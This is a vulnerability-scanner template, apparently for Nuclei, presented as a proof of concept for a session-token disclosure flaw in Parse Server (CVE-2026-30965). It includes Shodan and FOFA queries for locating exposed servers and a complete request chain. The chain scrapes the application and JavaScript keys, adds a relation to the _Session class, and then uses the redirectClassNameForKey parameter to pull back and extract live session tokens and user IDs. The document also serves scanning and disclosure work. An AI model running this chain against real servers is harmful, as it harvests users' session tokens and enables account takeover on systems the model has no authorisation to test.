Parse Server < 8.6.21 / 9.x < 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.
PoC
id: CVE-2026-30965
info:
name: Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration
author: str4k3r,0x_Akoko
severity: critical
description: |
Parse Server < 8.6.21 / 9.x < 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.
impact: |
Attackers can exfiltrate session tokens and take over user accounts, leading to account compromise.
remediation: |
Update to version 9.5.2-alpha.8 or 8.6.21 or later.
reference:
- https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f
- https://nvd.nist.gov/vuln/detail/CVE-2026-30965
- https://github.com/parse-community/parse-server/commit/70b7b070e1135949dd80ecf382f34db0bfdbb71e
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 9.9
cve-id: CVE-2026-30965
epss-score: 0.01329
epss-percentile: 0.69608
cwe-id: CWE-863
metadata:
verified: true
max-request: 5
vendor: parse-community
product: parse-server
shodan-query: '"X-Parse-Application-Id" OR http.html:"parseServerVersion"'
fofa-query: 'body="parseServerVersion" || header="X-Parse-Application-Id"'
tags: cve,cve2026,parse,parse-server,session-hijack,auth-bypass
variables:
cn: "{{to_lower(rand_text_alpha(8))}}"
flow: (http(1) || http(2)) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET {{BaseURL}}/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: appid
internal: true
group: 1
regex:
- '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
- 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'
- type: regex
name: jskey
internal: true
group: 1
regex:
- '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'
matchers:
- type: dsl
dsl:
- 'len(appid) > 0'
- 'len(jskey) > 0'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/index.js HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: appid
internal: true
group: 1
regex:
- '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
- 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'
- type: regex
name: jskey
group: 1
regex:
- '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
- 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'
internal: true
matchers:
- type: dsl
dsl:
- 'len(appid) > 0'
- 'len(jskey) > 0'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/parse/health HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
matchers:
- type: dsl
internal: true
condition: and
dsl:
- 'status_code == 200'
- 'contains(body, "ok")'
- raw:
- |
POST {{BaseURL}}/parse/classes/{{cn}} HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
Content-Type: application/json
{"pivot":{"__op":"AddRelation","objects":[{"__type":"Pointer","className":"_Session","objectId":"{{cn}}"}]}}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'contains(body, "objectId")'
condition: and
internal: true
- raw:
- |
GET {{BaseURL}}/parse/classes/{{cn}}?redirectClassNameForKey=pivot&limit=3 HTTP/1.1
Host: {{Hostname}}
X-Parse-Application-Id: {{appid}}
X-Parse-Javascript-Key: {{jskey}}
extractors:
- type: regex
name: session_tokens
group: 1
regex:
- '"sessionToken"\s*:\s*"(r:[a-f0-9]+)"'
- type: regex
name: user_ids
group: 1
regex:
- '"user":{"__type":"Pointer","className":"_User","objectId":"([A-Za-z0-9]+)"'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "sessionToken", "results")'
condition: and
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